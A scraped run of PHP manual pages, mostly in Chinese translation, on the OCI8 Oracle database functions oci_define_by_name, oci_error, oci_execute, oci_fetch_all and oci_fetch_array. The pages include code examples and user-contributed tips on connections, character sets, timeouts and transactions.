This is the result of PHP garbage collecting the handle at the end of the method scope.

If you want to isolate your DB layer through function calls but still want to leverage the fact that oci_connect can return the same handle, just keep a reference to the handle like so:

<?php
getData($username, $password, $conn_info) {
    $dbh = oci_connect($username, $password, $conn_info);
    $key = hash('md5', "$username|$password|$conn_info");
    $GLOBALS[$key] = $dbh;
    // Do stuff
}
?>

I originally logged this as a bug but apparently this is the expected behaviour, likely because oci_close($dbh) just calls unset($dbh).
drew dot carmichael at gmail dot com 03-Jul-2009 01:55
When using the OCI_CRED_EXT in php
if the ENV $ORACLE_SID is set the DB does not need to be specified explicitly and the connection will fail unless you provide a NULL DB value when creating the connection.

The $ORACLE_SID trumps the TNS name look up for the connection. So even a manual connection string in the DB parameter will fail.

So when the $ORACLE_SID Env is set a NULL passed instead of the DB name connects successfully.

Hope this saves some hair pulling when moving to %.3 and OS Authentications
Leandro da Cunha Campos 11-May-2009 11:04
ONE ALTERNATIVE OF CONNECT IN ORACLE RAC "Real Application Clusters"

<?php
$dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip1)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco1)))";

$dbstr1 ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =ip2)(PORT = 1521))
(CONNECT_DATA =
(SERVER = DEDICATED)
(SERVICE_NAME = banco)
(INSTANCE_NAME = banco2)))";

if(!@($conn = oci_connect('user','password',$dbstr1)))
{ $conn = oci_connect('user','password',$dbstr) or die (ocierror()); }
?>
sixd at php dot net 30-Jun-2008 04:33
If you want to specify a connection timeout in case there is network problem, you can edit the client side (e.g. PHP side) sqlnet.ora file and set SQLNET.OUTBOUND_CONNECT_TIMEOUT. This sets the upper time limit for establishing a connection right through to the DB, including the time for attempts to connect to other services.   It is available from Oracle 10.2.0.3 onwards.

In Oracle 11.1, a slightly lighter-weight solution TCP.CONNECT_TIMEOUT was introduced.  It also is a sqlnet.ora parameter.  It bounds just the TCP connection establishment time, which is mostly where connection problem are seen.

The client sqlnet.ora file should be put in the same directory as the tnsnames.ora file.
sebastien.barbieri _at_ gmail dot com 13-Sep-2006 09:42
When you are using Oracle 9.2+ I would say that you MUST use the CHARSET parameter.

Of course, you will not notice it until there is accented character... so just specify it and you will avoid a big headache.

So for example here is our Oracle internal conf:
select * from nls_database_parameters;

PARAMETER                      VALUE
------------------------------ ----------------------------------------
...
NLS_LANGUAGE                   AMERICAN
NLS_TERRITORY                  AMERICA
NLS_ISO_CURRENCY               AMERICA
NLS_CHARACTERSET               WE8ISO8859P15
...

And there our oci_connect call:

$dbch=ocilogon($user,$pass,$connectString,"WE8ISO8859P15");

Without that, you will get question mark (inversed), squares... instead of most accented character.

Don't forget to use that for writing as well as for reading.
ben at onshop dot co dot uk 14-Jul-2005 05:25
There is a useful solution to the problem of securing connection information in the PHP Cookbook (O'Reilly) by David Sklar and Adam Trachtenberg. They propose using 'SetEnv' in the Apache configuration and then accessing the values from within a script using $_SERVER.

Unfortunately using the 'SetEnv' solution exposes your connection information to all users of that virtual host. If they run phpinfo.php or display $_SERVER, I found that they will see the password from any file under the root of that virtual host.

To restrict exposure to a particular directory or specific file:

1. First put an 'Include' to the secret file in httpd.conf. For example:

Include "/web/private/secret.txt"

2. In the password file, use the 'SetEnvIf' directive to enable the Environment variables by directory only or within a specific file. For example:

- For all files in the directory:

SetEnvIf Request_URI "/path/to/my/directory" ORACLE_PASS=5gHj790j

- For a specific file in the directory

SetEnvIf Request_URI "/path/to/my/directory/connection.oracle.php" ORACLE_PASS=5gHj790j
M0no at ethonfusino dot com 21-Nov-2002 10:04
If your oracle database is on a remote system within your local network and you don't want to worry about the tnsnames file you can try this.

$db = "(DESCRIPTION=(ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.XX.XXX)(PORT = 1521)))(CONNECT_DATA=(SID=XXXX)))";

$c1 = ocilogon("name","password",$db);

Hope this helps someone.


将 PHP 变量与查询读取的列相关联

  • ? oci_connect
  • oci_error ?
  • PHP Manual
  • OCI8 函数
  • 将 PHP 变量与查询读取的列相关联

oci_define_by_name

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_define_by_name — 将 PHP 变量与查询读取的列相关联

说明

oci_define_by_name(
resource $statement,
string $column,
mixed &$var,
int $type = 0
): bool

使用 oci_fetch() 将 PHP 变量与查询读取的列相关联。

必须在执行 oci_execute() 之前调用 oci_define_by_name()。

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

column

查询中使用的列名。

对 Oracle 中默认、不区分大小写的列名使用大写字母。对区分大小写的列名使用准确的列名大小写。

var

将包含返回列的值的 PHP 变量。

type

要返回的数据类型。一般不需要。注意不会执行 Oracle 样式的数据转换。例如将会忽略 SQLT_INT，返回的数据类型仍为 SQLT_CHR。

可以选择使用 oci_new_descriptor() 来分配 LOB/ROWID/BFILE 描述符。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 oci_define_by_name() 示例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT location_id, city FROM locations WHERE location_id < 1200';
$stid = oci_parse($conn, $sql);

// The defines MUST be done before executing
oci_define_by_name($stid, 'LOCATION_ID', $locid);
oci_define_by_name($stid, 'CITY', $city);

oci_execute($stid);

// Each fetch populates the previously defined variables with the next row's data
while (oci_fetch($stid)) {
echo "Location id $locid is $city<br>\n";
}

// Displays:
// Location id 1000 is Roma
// Location id 1100 is Venice

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_define_by_name() 带有区分大小写的列名

<?php

/*
Before running, create the table with a case sensitive column name:
CREATE TABLE mytab (id NUMBER, "MyDescription" VARCHAR2(30));
INSERT INTO mytab (id, "MyDescription") values (1, 'Iced Coffee');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// Use uppercase for non case-sensitive column names
oci_define_by_name($stid, 'ID', $id);

// Use the exact case for case-sensitive column names
oci_define_by_name($stid, 'MyDescription', $mydesc);

oci_execute($stid);

while (oci_fetch($stid)) {
echo "id $id is $mydesc<br>\n";
}

// Displays:
// id 1 is Iced Coffee

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_define_by_name() 带有 LOB 列

<?php

/*
Before running, create the table:
CREATE TABLE mytab (id NUMBER, fruit CLOB);
INSERT INTO mytab (id, fruit) values (1, 'apple');
INSERT INTO mytab (id, fruit) values (2, 'orange');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// The defines MUST be done before executing
oci_define_by_name($stid, 'ID', $id);
oci_define_by_name($stid, 'FRUIT', $fruit); // $fruit will become a LOB descriptor

oci_execute($stid);

while (oci_fetch($stid)) {
echo $id . " is " . $fruit->load(100) . "<br>\n";
}

// Displays:
// 1 is apple
// 2 is orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

Example #4 oci_define_by_name() 带有显式类型

<?php

/*
Before running, create the table:
CREATE TABLE mytab (id NUMBER, fruit CLOB);
INSERT INTO mytab (id, fruit) values (1, 'apple');
INSERT INTO mytab (id, fruit) values (2, 'orange');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT * FROM mytab');

// The defines MUST be done before executing
oci_define_by_name($stid, 'ID', $id);

$fruit = oci_new_descriptor($conn, OCI_D_LOB);
oci_define_by_name($stid, 'FRUIT', $fruit, OCI_D_CLOB);

oci_execute($stid);

while (oci_fetch($stid)) {
echo $id . " is " . $fruit->load(100) . "<br>\n";
}

// Displays:
// 1 is apple
// 2 is orange

$fruit->free();
oci_free_statement($stid);
oci_close($conn);

?>

参见

  • oci_fetch() - 从查询中读取下一行到内部缓冲区
  • oci_new_descriptor() - 初始化新的空 LOB 或 FILE 描述符

User Contributed Notes

There are no user contributed notes for this page.


返回最后发现的错误

  • ? oci_define_by_name
  • oci_execute ?
  • PHP Manual
  • OCI8 函数
  • 返回最后发现的错误

oci_error

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_error — 返回最后发现的错误

说明

oci_error(?resource $connection_or_statement = null): array|false

返回最后发现的错误。

发生错误后应立即调用该函数。错误会由成功的语句清除。

参数

connection_or_statement

对于大多数错误，connection_or_statement 是传递给失败函数以供调用的资源句柄。对于 oci_connect()、oci_new_connect() 或 oci_pconnect() 的连接错误，应传递 null。

返回值

如果没有发现错误，oci_error() 返回 false。否则，oci_error() 将错误信息作为关联数组返回。

oci_error() 数组说明
数组键 | 类型 | 说明
code | int | Oracle 错误编号。
message | string | Oracle 错误文本。
offset | int | SQL 语句中错误的字节位置。如果没有语句，则为 0
sqltext | string | SQL 语句文本。如果没有语句，则是空字符串。

更新日志

版本 | 说明
8.0.0、PECL OCI8 3.0.0 | connection_or_statement 现在可为 null。

示例

Example #1 连接错误后显示 Oracle 错误消息

<?php
$conn = oci_connect("hr", "welcome", "localhost/XE");
if (!$conn) {
$e = oci_error(); // For oci_connect errors do not pass a handle
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

Example #2 语法解析错误后显示 Oracle 错误消息

<?php
$stid = oci_parse($conn, "select ' from dual"); // note mismatched quote
if (!$stid) {
$e = oci_error($conn); // For oci_parse errors pass the connection handle
trigger_error(htmlentities($e['message']), E_USER_ERROR);
}
?>

Example #3 显示 Oracle 错误信息、问题语句、执行错误问题所在位置

<?php
$stid = oci_parse($conn, "select does_not_exist from dual");
$r = oci_execute($stid);
if (!$r) {
$e = oci_error($stid); // For oci_execute errors pass the statement handle
print htmlentities($e['message']);
print "\n<pre>\n";
print htmlentities($e['sqltext']);
printf("\n%".($e['offset']+1)."s", "^");
print "\n</pre>\n";
}
?>

User Contributed Notes

alvaro at demogracia dot com 08-Aug-2014 10:41
Please note that, unlike equivalent functions in other DB extensions, skipping the resource argument is not synonym for "just get last error".


执行语句

  • ? oci_error
  • oci_fetch_all ?
  • PHP Manual
  • OCI8 函数
  • 执行语句

oci_execute

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_execute — 执行语句

说明

oci_execute(resource $statement, int $mode = OCI_COMMIT_ON_SUCCESS): bool

执行先前从 oci_parse() 返回的 statement。

执行后，像 INSERT 这样的语句默认会将数据提交到数据库中。对于像 SELECT 这样的语句，执行查询的逻辑。随后可以使用 oci_fetch_array() 等函数在 PHP 中获取查询结果。

每个已解析的语句可能会执行多次，节省了重新解析的成本。当使用 oci_bind_by_name() 绑定数据时，这通常用于 INSERT 语句。

参数

statement

有效的 OCI 语句标识符。

mode

可选的第二个参数可以是以下常量之一：

执行模式
常量 | 说明
OCI_COMMIT_ON_SUCCESS | 当语句成功时，自动提交此连接的所有未完成更改。这是默认设置。
OCI_DESCRIBE_ONLY | 使查询元数据可用于 oci_field_name() 等函数，但不创建结果集。任何后续的读取调用（例如 oci_fetch_array()）都将失败。
OCI_NO_AUTO_COMMIT | 不要自动提交更改。

使用 OCI_NO_AUTO_COMMIT 模式启动或继续事务。当连接关闭或脚本结束时，事务会自动回滚。显式调用 oci_commit() 来提交事务，或调用 oci_rollback() 来中止它。

插入或更新数据时，出于关系数据一致性和性能原因，建议使用事务。

If OCI_NO_AUTO_COMMIT mode is used for any statement including queries, and oci_commit() or oci_rollback() is not subsequently called, then OCI8 will perform a rollback at the end of the script even if no data was changed. To avoid an unnecessary rollback, many scripts do not use OCI_NO_AUTO_COMMIT mode for queries or PL/SQL. Be careful to ensure the appropriate transactional consistency for the application when using oci_execute() with different modes in the same script.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 oci_execute() 用于查询

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
echo "<tr>\n";
foreach ($row as $item) {
echo " <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 oci_execute() 未指定模式示例

<?php

// Before running, create the table:
// CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');

oci_execute($stid); // The row is committed and immediately visible to other users

?>

Example #3 oci_execute() 和 OCI_NO_AUTO_COMMIT 示例

<?php

// Before running, create the table:
// CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (:bv)');
oci_bind_by_name($stid, ':bv', $i, 10);
for ($i = 1; $i <= 5; ++$i) {
oci_execute($stid, OCI_NO_AUTO_COMMIT);
}
oci_commit($conn); // commits all new values: 1, 2, 3, 4, 5

?>

Example #4 具有不同提交模式的 oci_execute() 示例

<?php

// Before running, create the table:
// CREATE TABLE MYTABLE (col1 NUMBER);

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (123)');
oci_execute($stid, OCI_NO_AUTO_COMMIT); // data not committed

$stid = oci_parse($conn, 'INSERT INTO mytab (col1) VALUES (456)');
oci_execute($stid); // commits both 123 and 456 values

?>

Example #5 oci_execute() 与 OCI_DESCRIBE_ONLY 示例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, 'SELECT * FROM locations');
oci_execute($s, OCI_DESCRIBE_ONLY);
for ($i = 1; $i <= oci_num_fields($stid); ++$i) {
echo oci_field_name($stid, $i) . "<br>\n";
}

?>

注释

Note:

Transactions are automatically rolled back when connections are closed, or when the script ends, whichever is soonest. Explicitly call oci_commit() to commit a transaction.

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

Any Oracle DDL statement such as CREATE or DROP will automatically commit any uncommitted transaction.

Note:

Because the oci_execute() function generally sends the statement to the database, oci_execute() can identify some statement syntax errors that the lightweight, local oci_parse() function does not.

参见

  • oci_parse() - 预处理用于执行的 Oracle 语句

User Contributed Notes

michaelhughes at strath dot ac dot uk 11-Nov-2015 11:38
You can pass a "false" value to oci_execute() and this returns a null value, instead of the documented false value.
<?php
$conn = oci_connect('username', 'password, '//hostname:1521/DB');

$result = oci_execute(false);
var_dump($result);
?>

Results in "null", so performing an Identical test:
<?php
if ($results === false) {
   //throw exception
}
?>

won't trap a problem, where as the Equal test (==) would:
<?php
if ($results == false) {
   //throw exception
}
?>

So testing the result of a statement like oci_parse() is important!
filipesampaio at hotmail dot com 05-Apr-2011 05:21
Just to write it down. I was trying to do a simple SELECT on a Caché (http://www.intersystems.com/cache/) table through an Oracle dblink, but always received the error "ORA-01002: fetch out of sequence". The solution was using OCI_NO_AUTO_COMMIT on the oci_execute function.
tower98 at gmail dot com 25-Aug-2010 01:35
Notice (PHP 5.2.12-pl0-gentoo):
You can parse empty query, you can execute empty query (returns true), but you cannot fetch data from empty query. So, if you provide query as variable, make sure it isn't empty.

<?php
$q = oci_parse($c, "");
if($q != false){
    // parsing empty query != false
    if(oci_execute($q){
        // executing empty query != false
        if(oci_fetch_all($q, $data, 0, -1, OCI_FETCHSTATEMENT_BY_ROW) == false){
            // but fetching executed empty query results in error (ORA-24338: statement handle not executed)
            $e = oci_error($q);
            echo $e['message'];
        }
    }
    else{
        $e = oci_error($q);
        echo $e['message'];
    }
}
else{
    $e = oci_error($link);
    echo $e['message'];
}
?>


从查询中读取多行到二维数组中

  • ? oci_execute
  • oci_fetch_array ?
  • PHP Manual
  • OCI8 函数
  • 从查询中读取多行到二维数组中

oci_fetch_all

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_all — 从查询中读取多行到二维数组中

说明

oci_fetch_all(
resource $statement,
array &$output,
int $offset = 0,
int $limit = -1,
int $flags = OCI_FETCHSTATEMENT_BY_COLUMN | OCI_ASSOC
): int

在查询中的读取多行到二维数组中。默认情况下，返回所有行。

对于使用 oci_execute() 执行的每个查询，此函数只能调用一次。

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

output

包含返回行的变量。

LOB 列作为字符串返回，其中 Oracle 支持转换。

有关如何读取数据和类型的更多信息，请参见 oci_fetch_array()。

offset

读取结果时要丢弃的初始行数。默认值为 0，因此返回第一行。

limit

要返回的行数。默认值为 -1，表示返回从 offset + 1 开始的所有行。

flags

参数 flags 表示数组结构以及是否应使用关联数组。

oci_fetch_all() 数组结构模式
常量 | 说明
OCI_FETCHSTATEMENT_BY_ROW | 外部数组将包含每个查询行的子数组。
OCI_FETCHSTATEMENT_BY_COLUMN | 外部数组将包含每个查询列的子数组。这是默认设置。

数组可以按列标头或数字索引。只会返回一种索引模式。

oci_fetch_all() 数组索引模式
常量 | 说明
OCI_NUM | 数字索引用于每一列的数组。
OCI_ASSOC | 关联索引用于每一列的数组。这是默认设置。

使用加法运算符"+"选择数组结构和索引模式的组合。

Oracle's default, non-case sensitive column names will have uppercase array keys. Case-sensitive column names will have array keys using the exact column case. Use var_dump() on output to verify the appropriate case to use for each query.

具有多个同名列的查询应使用列别名。否则只有一列会出现在关联数组中。

返回值

返回 output 中的行数，可以是 0 或更多。

示例

Example #1 oci_fetch_all() 示例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// var_dump output is:
// 2 rows fetched
// array(2) {
// ["POSTAL_CODE"]=>
// array(2) {
// [0]=>
// string(6) "00989x"
// [1]=>
// string(6) "10934x"
// }
// ["CITY"]=>
// array(2) {
// [0]=>
// string(4) "Roma"
// [1]=>
// string(6) "Venice"
// }
// }

// Pretty-print the results
echo "<table border='1'>\n";
foreach ($res as $col) {
echo "<tr>\n";
foreach ($col as $item) {
echo " <td>".($item !== null ? htmlentities($item, ENT_QUOTES) : "")."</td>\n";
}
echo "</tr>\n";
}
echo "</table>\n";

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 带有 OCI_FETCHSTATEMENT_BY_ROW 的 oci_fetch_all() 示例

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// Output is:
// 2 rows fetched
// array(2) {
// [0]=>
// array(2) {
// ["POSTAL_CODE"]=>
// string(6) "00989x"
// ["CITY"]=>
// string(4) "Roma"
// }
// [1]=>
// array(2) {
// ["POSTAL_CODE"]=>
// string(6) "10934x"
// ["CITY"]=>
// string(6) "Venice"
// }
// }

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 带有 OCI_NUM 的 oci_fetch_all()

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT POSTAL_CODE, CITY FROM locations WHERE ROWNUM < 3');
oci_execute($stid);

$nrows = oci_fetch_all($stid, $res, null, null, OCI_FETCHSTATEMENT_BY_ROW + OCI_NUM);

echo "$nrows rows fetched<br>\n";
var_dump($res);

// Output is:
// 2 rows fetched
// array(2) {
// [0]=>
// array(2) {
// [0]=>
// string(6) "00989x"
// [1]=>
// string(4) "Roma"
// }
// [1]=>
// array(2) {
// [0]=>
// string(6) "10934x"
// [1]=>
// string(6) "Venice"
// }
// }

oci_free_statement($stid);
oci_close($conn);

?>

注释

Note:

使用 offset 非常低效。所有要跳过的行都包含在从数据库返回到 PHP 的结果集中。然后将它们丢弃。使用 SQL 限制查询中行的偏移量和范围会更高效。有关示例，请参见 oci_fetch_array()。

Note:

如果使用像 oci_fetch_array() 这样的单行读取函数，返回大量行的查询可以提高内存效率。

Note:

查询返回巨大数量的数据行时，通过增大 oci8.default_prefetch 值或使用 oci_set_prefetch() 可显著提高性能。

Note:

不会从 Oracle Database 12c 隐式结果集中返回行。请改用 oci_fetch_array()。

参见

  • oci_fetch() - 从查询中读取下一行到内部缓冲区
  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_set_prefetch() - 设置查询预读取的行数

User Contributed Notes

eustaquiorangel at gmail dot com 19-Mar-2014 09:24
Beware that only numerically indexed results will be returned if
OCI_NUM is used.
david at boeke dot com 16-Dec-2003 10:17
The Skip and MaxRows parameters were not added until version 4.2.1.
Previous versions of php used this syntax:

           int ocifetchstatement ( resource stmt, array &output)

The function also took a third parameter that was not documented.  ( I assume that it was a flag)


Returns the next row from a query as an associative or numeric array

  • ? oci_fetch_all
  • oci_fetch_assoc ?
  • PHP Manual
  • OCI8 函数
  • Returns the next row from a query as an associative or numeric array

oci_fetch_array

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

oci_fetch_array — Returns the next row from a query as an associative or numeric array

说明

oci_fetch_array(resource $statement, int $mode = OCI_BOTH | OCI_RETURN_NULLS): array|false

Returns an array containing the next result-set row of a query. Each array entry corresponds to a column of the row. This function is typically called in a loop until it returns false, indicating no more rows exist.

If statement corresponds to a PL/SQL block returning Oracle Database Implicit Result Sets, then rows from all sets are consecutively fetched. If statement is returned by oci_get_implicit_resultset(), then only the subset of rows for one child query are returned.

要获取 OCI8 扩展进行数据类型映射的细节，请参见驱动所支持的数据类型。

参数

statement

有效的 OCI8 报表标识符 由 oci_parse() 创建，被 oci_execute() 或 REF CURSOR statement 标识执行。

Can also be a statement identifier returned by oci_get_implicit_resultset().

mode

An optional second parameter can be any combination of the following constants:

oci_fetch_array() Modes
Constant | Description
OCI_BOTH | Returns an array with both associative and numeric indices. This is the same as OCI_ASSOC + OCI_NUM and is the default behavior.
OCI_ASSOC | Returns an associative array.
OCI_NUM | Returns a numeric array.
OCI_RETURN_NULLS | Creates elements for null fields. The element values will be a PHP null.
OCI_RETURN_LOBS | Returns the contents of LOBs instead of the LOB descriptors.

The default mode is OCI_BOTH.

Use the addition operator "+" to specify more than one mode at a time.

返回值

Returns an array with associative and/or numeric indices. If there are no more rows in the statement then false is returned.

By default, LOB columns are returned as LOB descriptors.

DATE columns are returned as strings formatted to the current date format. The default format can be changed with Oracle environment variables such as NLS_LANG or by a previously executed ALTER SESSION SET NLS_DATE_FORMAT command.

Oracle's default, non-case sensitive column names will have uppercase associative indices in the result array. Case-sensitive column names will have array indices using the exact column case. Use var_dump() on the result array to verify the appropriate case to use for each query.

The table name is not included in the array index. If your query contains two different columns with the same name, use OCI_NUM or add a column alias to the query to ensure name uniqueness, see example #7. Otherwise only one column will be returned via PHP.

示例

Example #1 oci_fetch_array() with OCI_BOTH

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT department_id, department_name FROM departments');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_BOTH)) != false) {
// Use the uppercase column names for the associative array indices
echo $row[0] . " and " . $row['DEPARTMENT_ID'] . " are the same<br>\n";
echo $row[1] . " and " . $row['DEPARTMENT_NAME'] . " are the same<br>\n";
}

oci_free_statement($stid);
oci_close($conn);

?>

Example #2 oci_fetch_array() with OCI_NUM

<?php

/*
Before running, create the table:
CREATE TABLE mytab (id NUMBER, description CLOB);
INSERT INTO mytab (id, description) values (1, 'A very long string');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_NUM)) != false) {
echo $row[0] . "<br>\n";
echo $row[1]->read(11) . "<br>\n"; // this will output first 11 bytes from DESCRIPTION
}

// Output is:
// 1
// A very long

oci_free_statement($stid);
oci_close($conn);

?>

Example #3 oci_fetch_array() with OCI_ASSOC

<?php

/*
Before running, create the table:
CREATE TABLE mytab (id NUMBER, description CLOB);
INSERT INTO mytab (id, description) values (1, 'A very long string');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC)) != false) {
echo $row['ID'] . "<br>\n";
echo $row['DESCRIPTION']->read(11) . "<br>\n"; // this will output first 11 bytes from DESCRIPTION
}

// Output is:
// 1
// A very long

oci_free_statement($stid);
oci_close($conn);

?>

Example #4 oci_fetch_array() with OCI_RETURN_NULLS

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC)) != false) { // Ignore NULLs
var_dump($row);
}

/*
The above code prints:
array(1) {
[1]=>
string(1) "1"
}
*/

$stid = oci_parse($conn, 'SELECT 1, null FROM dual');
oci_execute($stid);
while (($row = oci_fetch_array ($stid, OCI_ASSOC+OCI_RETURN_NULLS)) != false) { // Fetch NULLs
var_dump($row);
}

/*
The above code prints:
array(2) {
[1]=>
string(1) "1"
["NULL"]=>
NULL
}
*/

?>

Example #5 oci_fetch_array() with OCI_RETURN_LOBS

<?php

/*
Before running, create the table:
CREATE TABLE mytab (id NUMBER, description CLOB);
INSERT INTO mytab (id, description) values (1, 'A very long string');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'SELECT id, description FROM mytab');
oci_execute($stid);

while (($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_LOBS)) != false) {
echo $row['ID'] . "<br>\n";
echo $row['DESCRIPTION'] . "<br>\n"; // this contains all of DESCRIPTION
// In a loop, freeing the large variable before the 2nd fetch reduces PHP's peak memory usage
unset($row);
}

// Output is:
// 1
// A very long string

oci_free_statement($stid);
oci_close($conn);

?>

Example #6 oci_fetch_array() with case sensitive column names

<?php

/*
Before running, create the table:
CREATE TABLE mytab ("Name" VARCHAR2(20), city VARCHAR2(20));
INSERT INTO mytab ("Name", city) values ('Chris', 'Melbourne');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$stid = oci_parse($conn, 'select * from mytab');
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS);

// Because 'Name' was created as a case-sensitive column, that same
// case is used for the array index. However uppercase 'CITY' must
// be used for the case-insensitive column index
print $row['Name'] . "<br>\n"; // prints Chris
print $row['CITY'] . "<br>\n"; // prints Melbourne

oci_free_statement($stid);
oci_close($conn);

?>

Example #7 oci_fetch_array() with columns having duplicate names

<?php

/*
Before running, create the tables:
CREATE TABLE mycity (id NUMBER, name VARCHAR2(20));
INSERT INTO mycity (id, name) values (1, 'Melbourne');
CREATE TABLE mycountry (id NUMBER, name VARCHAR2(20));
INSERT INTO mycountry (id, name) values (1, 'Australia');
COMMIT;
*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
$e = oci_error();
trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$sql = 'SELECT mycity.name, mycountry.name
FROM mycity, mycountry
WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
var_dump($row);

// Output only contains one "NAME" entry:
// array(1) {
// ["NAME"]=>
// string(9) "Australia"
// }

// To query a repeated column name, use an SQL column alias like "AS ctnm":
$sql = 'SELECT mycity.name AS ctnm, mycountry.name
FROM mycity, mycountry
WHERE mycity.id = mycountry.id';
$stid = oci_parse($conn, $sql);
oci_execute($stid);
$row = oci_fetch_array($stid, OCI_ASSOC);
